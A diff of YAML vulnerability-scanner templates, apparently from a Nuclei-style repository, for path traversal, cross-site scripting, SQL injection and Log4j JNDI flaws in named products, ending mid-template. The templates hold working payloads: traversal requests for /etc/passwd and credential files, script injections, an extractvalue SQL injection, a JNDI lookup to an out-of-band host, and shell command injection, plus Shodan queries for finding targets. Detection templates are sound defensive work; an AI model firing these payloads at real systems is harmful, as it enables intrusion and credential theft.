FileServlet function allows for arbitrary file retrieval by an attacker using unsanitized user supplied input. + description: Oliver 5 Library Server versions prior to 8.00.008.053 are vulnerable to local file inclusion via the FileServlet function. reference: - https://www.exploit-db.com/exploits/50599 - https://www.softlinkint.com/product/oliver/ - tags: windows,lfi,oliver + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + tags: lfi,oliver,edb,windows requests: - method: GET @@ -23,3 +27,5 @@ requests: - "fonts" - "extensions" condition: and + +# Enhanced by mp on 2022/08/04 diff --git a/vulnerabilities/other/omnia-mpx-lfi.yaml b/vulnerabilities/other/omnia-mpx-lfi.yaml new file mode 100644 index 0000000000..99b9dd2b1a --- /dev/null +++ b/vulnerabilities/other/omnia-mpx-lfi.yaml @@ -0,0 +1,36 @@ +id: omnia-mpx-lfi + +info: + name: Omnia MPX 1.5.0+r1 - Path Traversal + author: arafatansari,ritikchaddha + severity: high + description: | + Omnia MPX 1.5.0+r1 is vulnerable to Path Traversal. + reference: + - https://www.exploit-db.com/exploits/50996 + metadata: + verified: true + shodan-query: http.html:"Omnia MPX" + tags: mpx,traversal,edb,lfi,omnia + +requests: + - method: GET + path: + - "{{BaseURL}}/logs/downloadMainLog?fname=../../../../../../..//etc/passwd" + - "{{BaseURL}}/logs/downloadMainLog?fname=../../../../../../..///config/MPXnode/www/appConfig/userDB.json" + + stop-at-first-match: true + matchers-condition: or + matchers: + - type: regex + regex: + - "root:[x*]:0:0" + + - type: word + part: body + words: + - '"username":' + - '"password":' + - '"mustChangePwd":' + - '"roleUser":' + condition: and diff --git a/vulnerabilities/other/onlinefarm-management-xss.yaml b/vulnerabilities/other/onlinefarm-management-xss.yaml new file mode 100644 index 0000000000..6fb3c4ce2e --- /dev/null +++ b/vulnerabilities/other/onlinefarm-management-xss.yaml @@ -0,0 +1,40 @@ +id: onlinefarm-management-xss + +info: + name: Online Farm Management System 0.1.0 - Cross-Site Scripting + author: arafatansari + severity: medium + description: | + Online Farm Management System is affected by Cross-Site Scripting on the review.php file. + reference: + - https://www.exploit-db.com/exploits/48673 + metadata: + verified: true + tags: onlinefarm,cms,xss,edb + +requests: + - raw: + - | + POST /reviewInput.php?pid=1 HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + comment=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E&rating=0 + + redirects: true + max-redirects: 2 + matchers-condition: and + matchers: + - type: word + part: body + words: + - '' + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/vulnerabilities/other/opencti-lfi.yaml b/vulnerabilities/other/opencti-lfi.yaml new file mode 100644 index 0000000000..966b929a25 --- /dev/null +++ b/vulnerabilities/other/opencti-lfi.yaml @@ -0,0 +1,36 @@ +id: opencti-lfi + +info: + name: OpenCTI 3.3.1 - Local File Inclusion + author: 0x_Akoko + severity: high + description: OpenCTI 3.3.1 is vulnerable to local file inclusion. + reference: + - https://cxsecurity.com/issue/WLB-2020060078 + - https://github.com/OpenCTI-Platform/opencti/releases/tag/3.3.1 + metadata: + verified: true + shodan-query: http.html:"OpenCTI" + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + tags: opencti,lfi,oss + +requests: + - method: GET + path: + - "{{BaseURL}}/static/css//../../../../../../../../etc/passwd" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:[x*]:0:0" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/08/04 diff --git a/vulnerabilities/other/opennms-log4j-jndi-rce.yaml b/vulnerabilities/other/opennms-log4j-jndi-rce.yaml new file mode 100644 index 0000000000..1a5fa028db --- /dev/null +++ b/vulnerabilities/other/opennms-log4j-jndi-rce.yaml @@ -0,0 +1,55 @@ +id: opennms-log4j-jndi-rce + +info: + name: OpenNMS - Log4j JNDI RCE + author: johnk3r + severity: critical + description: | + OpenNMS Apache Log4j2 <=2.14.1 JNDI in features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker + who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. + reference: + - https://www.horizon3.ai/the-long-tail-of-log4shell-exploitation/ + - https://www.opennms.com/en/blog/2021-12-10-opennms-products-affected-by-apache-log4j-vulnerability-cve-2021-44228/ + - https://logging.apache.org/log4j/2.x/security.html + - https://nvd.nist.gov/vuln/detail/CVE-2021-44228 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10 + cve-id: CVE-2021-44228 + cwe-id: CWE-917 + metadata: + shodan-query: title:"OpenNMS Web Console" + verified: "true" + tags: jndi,log4j,rce,opennms,cve,cve2021,kev + +requests: + - raw: + - | + POST /opennms/j_spring_security_check HTTP/1.1 + Referer: {{RootURL}}/opennms/login.jsp + Content-Type: application/x-www-form-urlencoded + + j_username=${jndi:ldap://${hostName}.{{interactsh-url}}}&j_password=password&Login=&j_usergroups= + + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol # Confirms the DNS Interaction + words: + - "dns" + + - type: regex + part: interactsh_request + regex: + - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Match for extracted ${hostName} variable + + extractors: + - type: kval + kval: + - interactsh_ip # Print remote interaction IP in output + + - type: regex + part: interactsh_request + group: 1 + regex: + - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output diff --git a/vulnerabilities/other/opensis-lfi.yaml b/vulnerabilities/other/opensis-lfi.yaml index 8037b9afd6..528059b020 100644 --- a/vulnerabilities/other/opensis-lfi.yaml +++ b/vulnerabilities/other/opensis-lfi.yaml @@ -1,14 +1,19 @@ id: opensis-lfi info: - name: openSIS 5.1 - 'ajax.php' Local File Inclusion + name: openSIS 5.1 - Local File Inclusion author: pikpikcu severity: high - description: An attacker can exploit a vulnerability in openSIS to obtain potentially sensitive information and execute arbitrary local scripts in the context of the Web server process. This may allow the attacker - to compromise the application and computer; other attacks are also possible. + description: openSIS 5.1 is vulnerable to local file inclusion and allows attackers to obtain potentially sensitive information by executing arbitrary local scripts in the context of the web server process. This may allow the attacker to compromise the application and computer; other attacks are also possible. reference: - https://www.exploit-db.com/exploits/38039 - tags: opensis,lfi + metadata: + shodan-query: http.title:"openSIS" + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + tags: opensis,lfi,edb requests: - method: GET @@ -26,3 +31,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/04 diff --git a/vulnerabilities/other/opensns-rce.yaml b/vulnerabilities/other/opensns-rce.yaml index 8935365a70..241dd31a47 100644 --- a/vulnerabilities/other/opensns-rce.yaml +++ b/vulnerabilities/other/opensns-rce.yaml @@ -1,13 +1,15 @@ id: opensns-rce info: - name: OpenSNS Remote Code Execution Vulnerability + name: OpenSNS - Remote Code Execution author: gy741 severity: critical - description: A vulnerability in OpenSNS allows remote unauthenticated attackers to cause the product to execute arbitrary code via the 'shareBox' endpoint. - reference: - - http://www.0dayhack.net/index.php/2417/ - - https://www.pwnwiki.org/index.php?title=OpenSNS_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E + description: | + OpenSNS allows remote unauthenticated attackers to execute arbitrary code via the 'shareBox' endpoint. + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 tags: opensns,rce requests: @@ -19,10 +21,10 @@ requests: matchers-condition: and matchers: - type: regex + part: body regex: - "((u|g)id=)" - "Microsoft Windows" - part: body condition: or - type: word @@ -32,3 +34,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/05/30 diff --git a/vulnerabilities/other/optilink-ont1gew-gpon-rce.yaml b/vulnerabilities/other/optilink-ont1gew-gpon-rce.yaml index a1a850487d..5e30e7db5c 100644 --- a/vulnerabilities/other/optilink-ont1gew-gpon-rce.yaml +++ b/vulnerabilities/other/optilink-ont1gew-gpon-rce.yaml @@ -12,7 +12,7 @@ info: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10.0 cwe-id: CWE-77 - tags: optiLink,rce,oast,mirai + tags: optiLink,rce,oast,mirai,packetstorm requests: - raw: diff --git a/vulnerabilities/other/oracle-fatwire-lfi.yaml b/vulnerabilities/other/oracle-fatwire-lfi.yaml index 6858a74129..d48996de9d 100644 --- a/vulnerabilities/other/oracle-fatwire-lfi.yaml +++ b/vulnerabilities/other/oracle-fatwire-lfi.yaml @@ -3,11 +3,16 @@ id: oracle-fatwire-lfi info: name: Oracle Fatwire 6.3 - Path Traversal author: Bernardo Rodrigues @bernardofsr - severity: critical - description: Oracle Fatwire 6.3 suffers from a path traversal vulnerability in the getSurvey.jsp endpoint + severity: high + description: | + Oracle Fatwire 6.3 suffers from a path traversal vulnerability in the getSurvey.jsp endpoint. reference: - https://www.exploit-db.com/exploits/50167 - tags: lfi,oracle,fatwire + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N + cvss-score: 8.6 + cwe-id: CWE-22 + tags: lfi,oracle,fatwire,edb requests: - method: GET @@ -24,3 +29,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/05/30 diff --git a/vulnerabilities/other/orbiteam-bscw-server-lfi.yaml b/vulnerabilities/other/orbiteam-bscw-server-lfi.yaml new file mode 100644 index 0000000000..a42f1563c0 --- /dev/null +++ b/vulnerabilities/other/orbiteam-bscw-server-lfi.yaml @@ -0,0 +1,33 @@ +id: orbiteam-bscw-server-lfi + +info: + name: OrbiTeam BSCW Server - Local File Inclusion + author: 0x_Akoko + severity: high + description: | + OrbiTeam BSCW Server versions 5.0.x, 5.1.x, 5.2.4 and below, 7.3.x and below, and 7.4.3 and below are vulnerable to unauthenticated local file inclusion. + reference: + - https://packetstormsecurity.com/files/165156/OrbiTeam-BSCW-Server-XSS-LFI-User-Enumeration.html + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + tags: bscw,orbiteam,lfi,unauth,packetstorm + +requests: + - method: GET + path: + - "{{BaseURL}}/pub/bscw.cgi/30?op=theme&style_name=../../../../../../../../etc/passwd" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:[x*]:0:0" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/08/04 diff --git a/vulnerabilities/other/otobo-open-redirect.yaml b/vulnerabilities/other/otobo-open-redirect.yaml index f18da7474c..905cf5afd8 100644 --- a/vulnerabilities/other/otobo-open-redirect.yaml +++ b/vulnerabilities/other/otobo-open-redirect.yaml @@ -8,15 +8,15 @@ info: reference: - https://huntr.dev/bounties/de64ac71-9d06-47cb-b643-891db02f2a1f/ - https://github.com/rotheross/otobo - tags: redirect,otobo + tags: redirect,otobo,huntr requests: - method: GET path: - - '{{BaseURL}}/otobo/index.pl?Action=ExternalURLJump;URL=http://www.example.com' + - '{{BaseURL}}/otobo/index.pl?Action=ExternalURLJump;URL=http://www.interact.sh' matchers: - type: regex part: header regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)example\.com\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 + - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 diff --git a/vulnerabilities/other/pacsone-server-lfi.yaml b/vulnerabilities/other/pacsone-server-lfi.yaml index 9ad5ecf688..9183daf5cd 100644 --- a/vulnerabilities/other/pacsone-server-lfi.yaml +++ b/vulnerabilities/other/pacsone-server-lfi.yaml @@ -1,11 +1,16 @@ id: pacsone-server-lfi info: - name: PACSOne Server 6.6.2 DICOM Web Viewer Directory Trasversal + name: PACSOne Server 6.6.2 - Local File Inclusion author: 0x_Akoko severity: high + description: PACSOne Server 6.6.2 is vulnerable to local file inclusion via its integrated DICOM Web Viewer. reference: - https://cxsecurity.com/issue/WLB-2018010303 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 tags: pacsone,lfi requests: @@ -22,3 +27,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/04 diff --git a/vulnerabilities/other/parallels-hsphere-xss.yaml b/vulnerabilities/other/parallels-hsphere-xss.yaml new file mode 100644 index 0000000000..3aac9cc6fd --- /dev/null +++ b/vulnerabilities/other/parallels-hsphere-xss.yaml @@ -0,0 +1,37 @@ +id: parallels-hsphere-xss + +info: + name: Parallels H-Sphere - Cross-Site Scripting + author: ritikchaddha + severity: medium + description: | + H-Sphere is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. + reference: + - https://www.exploit-db.com/exploits/32396 + metadata: + verified: true + shodan-query: title:"h-sphere" + tags: hsphere,xss,edb,parallels + +requests: + - method: GET + path: + - '{{BaseURL}}/webshell4/login.php?err=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' + - '{{BaseURL}}/webshell4/login.php?login=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' + + stop-at-first-match: true + matchers-condition: and + matchers: + + - type: word + words: + - 'value="\">' + + - type: word + part: header + words: + - "text/html" + + - type: status + status: + - 200 diff --git a/vulnerabilities/other/parentlink-xss.yaml b/vulnerabilities/other/parentlink-xss.yaml index 9b9766f693..378cf228c6 100644 --- a/vulnerabilities/other/parentlink-xss.yaml +++ b/vulnerabilities/other/parentlink-xss.yaml @@ -1,7 +1,7 @@ id: parentlink-xss info: - name: Blackboard ParentLink Reflected XSS + name: Blackboard ParentLink Cross-Site Scripting author: r3naissance severity: medium reference: diff --git a/vulnerabilities/other/php-timeclock-xss.yaml b/vulnerabilities/other/php-timeclock-xss.yaml index 4da922addd..2482f4030a 100644 --- a/vulnerabilities/other/php-timeclock-xss.yaml +++ b/vulnerabilities/other/php-timeclock-xss.yaml @@ -1,13 +1,13 @@ id: php-timeclock-xss info: - name: PHP Timeclock 1.04 XSS + name: PHP Timeclock 1.04 Cross-Site Scripting author: pikpikcu severity: medium description: PHP Timeclock version 1.04 (and prior) Cross-Site Scripting vulnerabilities reference: - https://www.exploit-db.com/exploits/49853 - tags: xss,php,timeclock + tags: xss,php,timeclock,edb requests: - method: GET diff --git a/vulnerabilities/other/php-zerodium-backdoor-rce.yaml b/vulnerabilities/other/php-zerodium-backdoor-rce.yaml index 180d517472..dfadc93430 100644 --- a/vulnerabilities/other/php-zerodium-backdoor-rce.yaml +++ b/vulnerabilities/other/php-zerodium-backdoor-rce.yaml @@ -1,13 +1,19 @@ id: php-zerodium-backdoor-rce info: - name: PHP Zerodium Backdoor RCE + name: PHP 8.1.0-dev - Backdoor Remote Code Execution author: dhiyaneshDk severity: critical - description: A backdoor has been introduced into PHP, dubbed 'zerodiumvar_dump', the backdoor allowed the execution of arbitrary PHP code. + description: | + PHP 8.1.0-dev contains a backdoor dubbed 'zerodiumvar_dump' which can allow the execution of arbitrary PHP code. reference: - https://news-web.php.net/php.internals/113838 - tags: php,backdoor + - https://flast101.github.io/php-8.1.0-dev-backdoor-rce/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 + tags: php,backdoor,rce,zerodium requests: - method: GET @@ -21,6 +27,8 @@ requests: matchers: - type: word + part: body words: - "int(54289)" - part: body + +# Enhanced by mp on 2022/05/30 diff --git a/vulnerabilities/other/phpok-sqli.yaml b/vulnerabilities/other/phpok-sqli.yaml new file mode 100644 index 0000000000..28658f800e --- /dev/null +++ b/vulnerabilities/other/phpok-sqli.yaml @@ -0,0 +1,25 @@ +id: phpok-sqli + +info: + name: PHPOK - Sql Injection + author: ritikchaddha + severity: high + metadata: + verified: true + fofa-query: app="phpok" + tags: phpok,sqli + +variables: + num: "999999999" + +requests: + - method: GET + path: + - '{{BaseURL}}/api.php?c=project&f=index&token=1234&id=news&sort=1 and extractvalue(1,concat(0x7e,md5({{num}}))) --+' + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '{{md5({{num}})}}' diff --git a/vulnerabilities/other/phpwiki-lfi.yaml b/vulnerabilities/other/phpwiki-lfi.yaml index dda2c1fdb7..3e86d81da6 100644 --- a/vulnerabilities/other/phpwiki-lfi.yaml +++ b/vulnerabilities/other/phpwiki-lfi.yaml @@ -1,13 +1,13 @@ id: phpwiki-lfi info: - name: phpwiki 1.5.4 - XSS / Local File Inclusion + name: phpwiki 1.5.4 - Cross-Site Scripting/Local File Inclusion author: 0x_Akoko severity: high - description: A vulnerability in phpwiki allows remote unauthenticated attackers to include and return the content of locally stored files via the 'index.php' endpoint. + description: phpwiki 1.5.4 is vulnerable to cross-site scripting and local file inclusion, and allows remote unauthenticated attackers to include and return the content of locally stored files via the 'index.php' endpoint. reference: - https://www.exploit-db.com/exploits/38027 - tags: phpwiki,lfi,xss + tags: xss,edb,phpwiki,lfi requests: - method: GET @@ -24,3 +24,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/04 diff --git a/vulnerabilities/other/pmb-directory-traversal.yaml b/vulnerabilities/other/pmb-directory-traversal.yaml index 69934ef8a1..ef410b4187 100644 --- a/vulnerabilities/other/pmb-directory-traversal.yaml +++ b/vulnerabilities/other/pmb-directory-traversal.yaml @@ -1,13 +1,17 @@ id: pmb-directory-traversal info: - name: PMB 5.6 - Arbitrary File Retrieval + name: PMB 5.6 - Local File Inclusion author: geeknik - severity: medium - description: The PMB Gif Image is not sanitizing the content of the 'chemin' parameter, wchi can be used for local file retrieval. + severity: high + description: PMB 5.6 is vulnerable to local file inclusion because the PMB Gif Image is not sanitizing the content of the 'chemin' parameter. reference: - https://packetstormsecurity.com/files/160072/PMB-5.6-Local-File-Disclosure-Directory-Traversal.html - tags: lfi + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + tags: lfi,packetstorm requests: - method: GET @@ -25,3 +29,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/04 diff --git a/vulnerabilities/other/pmb-local-file-disclosure.yaml b/vulnerabilities/other/pmb-local-file-disclosure.yaml index b67c0f99da..1bdcdb5cfb 100644 --- a/vulnerabilities/other/pmb-local-file-disclosure.yaml +++ b/vulnerabilities/other/pmb-local-file-disclosure.yaml @@ -1,12 +1,17 @@ id: pmb-local-file-disclosure info: - name: PMB 5.6 - getgif.php Arbitrary File Retrieval + name: PMB 5.6 - Local File Inclusion author: dhiyaneshDk + description: PMB 5.6 is vulnerable to local file inclusion. severity: high reference: - https://www.exploit-db.com/exploits/49054 - tags: lfi,pmb + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + tags: lfi,pmb,edb requests: - method: GET @@ -21,3 +26,5 @@ requests: - type: word words: - "root:x:0" + +# Enhanced by mp on 2022/08/04 diff --git a/vulnerabilities/other/pollbot-redirect.yaml b/vulnerabilities/other/pollbot-redirect.yaml index c11e6df5d3..251cdd6ee3 100644 --- a/vulnerabilities/other/pollbot-redirect.yaml +++ b/vulnerabilities/other/pollbot-redirect.yaml @@ -13,14 +13,14 @@ info: requests: - method: GET path: - - '{{BaseURL}}/%0A/example.com/' + - '{{BaseURL}}/%0A/interact.sh/' matchers-condition: and matchers: - type: regex part: header regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)example\.com\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 + - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 - type: status status: diff --git a/vulnerabilities/other/powercreator-cms-rce.yaml b/vulnerabilities/other/powercreator-cms-rce.yaml index 3d96d4b8fe..bd613597a4 100644 --- a/vulnerabilities/other/powercreator-cms-rce.yaml +++ b/vulnerabilities/other/powercreator-cms-rce.yaml @@ -1,12 +1,18 @@ id: powercreator-cms-rce info: - name: PowerCreator CMS RCE + name: PowerCreator CMS - Remote Code Execution author: pikpikcu severity: critical + description: | + PowerCreator CMS is susceptible to a remote code execution vulnerability. reference: - https://wiki.96.mk/Web%E5%AE%89%E5%85%A8/PowerCreatorCms/PowerCreatorCms%E4%BB%BB%E6%84%8F%E4%B8%8A%E4%BC%A0/ - tags: rce,powercreator + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 + tags: rce,powercreator,intrusive,fileupload requests: - raw: @@ -39,4 +45,6 @@ requests: matchers: - type: dsl dsl: - - "contains(body_2, '{{randstr}}') && status_code_2 == 200" \ No newline at end of file + - "contains(body_2, '{{randstr}}') && status_code_2 == 200" + +# Enhanced by mp on 2022/05/30 diff --git a/vulnerabilities/other/processmaker-lfi.yaml b/vulnerabilities/other/processmaker-lfi.yaml index 5645ae5556..a240eb81c2 100644 --- a/vulnerabilities/other/processmaker-lfi.yaml +++ b/vulnerabilities/other/processmaker-lfi.yaml @@ -1,14 +1,18 @@ id: processmaker-lfi info: - name: ProcessMaker <= 3.5.4 Directory Traversal + name: ProcessMaker <=3.5.4 - Local File Inclusion author: KrE80r severity: high - description: A vulnerability in ProcessMaker allows remote attackers to access arbitrary files and disclose their content. + description: ProcessMaker 3.5.4 and prior is vulnerable to local file inclusion. reference: - https://www.exploit-db.com/exploits/50229 - https://www.processmaker.com - tags: processmaker,lfi + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + tags: processmaker,lfi,edb requests: - raw: @@ -26,3 +30,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/04 diff --git a/vulnerabilities/other/qcubed-xss.yaml b/vulnerabilities/other/qcubed-xss.yaml index 288d0ba81d..5546f1ccce 100644 --- a/vulnerabilities/other/qcubed-xss.yaml +++ b/vulnerabilities/other/qcubed-xss.yaml @@ -1,7 +1,7 @@ id: qcubed-xss info: - name: Qcubed Reflected XSS + name: Qcubed Cross-Site Scripting author: pikpikcu severity: medium description: A vulnerability in Qcubed allows remote attackers to inject arbitrary Javascript via the '/assets/php/_devtools/installer/step_2.php' endpoint and the 'installation_path' parameter. diff --git a/vulnerabilities/other/qi-anxin-netkang-next-generation-firewall-rce.yaml b/vulnerabilities/other/qi-anxin-netkang-next-generation-firewall-rce.yaml index 0dc5ff5f59..4ee8e90d78 100644 --- a/vulnerabilities/other/qi-anxin-netkang-next-generation-firewall-rce.yaml +++ b/vulnerabilities/other/qi-anxin-netkang-next-generation-firewall-rce.yaml @@ -1,12 +1,18 @@ id: qi-anxin-netkang-next-generation-firewall-rce info: - name: Qi'anxin Netkang Next Generation Firewall RCE + name: Qi'anxin Netkang Next Generation Firewall - Remote Code Execution author: pikpikcu severity: critical + description: | + Qi'anxin Netkang Next Generation Firewall is susceptible to remote code execution. reference: - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g - tags: rce + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 + tags: rce,firewall,intrusive requests: - raw: @@ -14,19 +20,21 @@ requests: POST /directdata/direct/router HTTP/1.1 Host: {{Hostname}} - {"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;cat /etc/passwd >/var/www/html/poc.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="} + {"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;touch /var/www/html/{{randstr}}.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="} - | - GET /poc.txt HTTP/1.1 + GET /{{randstr}}.txt HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: regex + part: body regex: - "root:.*:0:0:" - part: body - type: status status: - 200 + +# Enhanced by mp on 2022/05/30 diff --git a/vulnerabilities/other/qihang-media-disclosure.yaml b/vulnerabilities/other/qihang-media-disclosure.yaml index aef7fffd30..eb7562b469 100644 --- a/vulnerabilities/other/qihang-media-disclosure.yaml +++ b/vulnerabilities/other/qihang-media-disclosure.yaml @@ -1,13 +1,17 @@ id: qihang-media-disclosure info: - name: QiHang Media Web (QH.aspx) Digital Signage 3.0.9 - Cleartext Credentials Disclosure + name: QiHang Media Web Digital Signage 3.0.9 - Cleartext Credentials Disclosure author: gy741 - severity: critical - description: The application suffers from clear-text credentials disclosure vulnerability that allows an unauthenticated attacker to issue a request to an unprotected directory that hosts an XML file /xml/User/User.xml - and obtain administrative login information that allows for a successful authentication bypass attack. + severity: high + description: | + QiHang Media Web Digital Signage 3.0.9 suffers from a clear-text credentials disclosure vulnerability that allows an unauthenticated attacker to issue a request to an unprotected directory that hosts an XML file /xml/User/User.xml and obtain administrative login information that allows for a successful authentication bypass attack. reference: - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5579.php + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 tags: qihang,exposure requests: @@ -17,9 +21,12 @@ requests: matchers: - type: word + part: body words: - "" - "account=" - "password=" condition: and + +# Enhanced by mp on 2022/05/30 diff --git a/vulnerabilities/other/qihang-media-lfi.yaml b/vulnerabilities/other/qihang-media-lfi.yaml index ea6db6c683..035e702293 100644 --- a/vulnerabilities/other/qihang-media-lfi.yaml +++ b/vulnerabilities/other/qihang-media-lfi.yaml @@ -24,14 +24,14 @@ requests: matchers-condition: and matchers: - type: word + part: header words: - "filename=QH.aspx" - "application/zip" - part: header condition: and - type: word - regex: + words: - "QH.aspx.cs" - "QiHang.Media.Web.QH" condition: and diff --git a/vulnerabilities/other/rconfig-rce.yaml b/vulnerabilities/other/rconfig-rce.yaml index a4611b31a5..4ae976a766 100644 --- a/vulnerabilities/other/rconfig-rce.yaml +++ b/vulnerabilities/other/rconfig-rce.yaml @@ -8,7 +8,7 @@ info: reference: - https://www.rconfig.com/downloads/rconfig-3.9.5.zip - https://www.exploit-db.com/exploits/48878 - tags: rconfig,rce + tags: rconfig,rce,edb requests: - raw: diff --git a/vulnerabilities/other/reddittop-rss-xss.yaml b/vulnerabilities/other/reddittop-rss-xss.yaml new file mode 100644 index 0000000000..52f5716905 --- /dev/null +++ b/vulnerabilities/other/reddittop-rss-xss.yaml @@ -0,0 +1,34 @@ +id: reddittop-rss-xss + +info: + name: Reddit Top RSS - Cross-Site Scripting + author: arafatansari + severity: medium + description: | + Reddit Top RSS allows Reflected Cross Site Scripting via /?subreddit=news&score= parameter. + reference: + - https://github.com/johnwarne/reddit-top-rss/issues/12 + metadata: + verified: true + tags: reddit,rss,xss + +requests: + - method: GET + path: + - '{{BaseURL}}/?subreddit=news&score=2134%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'value="2134">" min="0"' + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/vulnerabilities/other/rockmongo-xss.yaml b/vulnerabilities/other/rockmongo-xss.yaml index a44e456d52..642312426f 100644 --- a/vulnerabilities/other/rockmongo-xss.yaml +++ b/vulnerabilities/other/rockmongo-xss.yaml @@ -1,13 +1,13 @@ id: rockmongo-xss info: - name: RockMongo V1.1.8 XSS + name: RockMongo V1.1.8 Cross-Site Scripting author: pikpikcu severity: medium description: A vulnerability in RockMongo allows attackers to inject arbitrary javascript into the response returned by the application. reference: - https://packetstormsecurity.com/files/136658/RockMongo-1.1.8-Cross-Site-Request-Forgery-Cross-Site-Scripting.html - tags: rockmongo,xss + tags: rockmongo,xss,packetstorm requests: - method: POST diff --git a/vulnerabilities/other/rundeck-log4j.yaml b/vulnerabilities/other/rundeck-log4j.yaml new file mode 100644 index 0000000000..567f55d1c2 --- /dev/null +++ b/vulnerabilities/other/rundeck-log4j.yaml @@ -0,0 +1,53 @@ +id: rundeck-log4j + +info: + name: Rundeck - Remote Code Execution (Apache Log4j) + author: DhiyaneshDK + severity: critical + reference: + - https://docs.rundeck.com/docs/history/CVEs/log4j.html + - https://logging.apache.org/log4j/2.x/security.html + - https://nvd.nist.gov/vuln/detail/CVE-2021-44228 + metadata: + verified: true + shodan-query: title:"Rundeck" + tags: cve,cve2021,rce,jndi,log4j,rundeck + +requests: + - raw: + - | + POST /j_security_check HTTP/1.1 + Host: 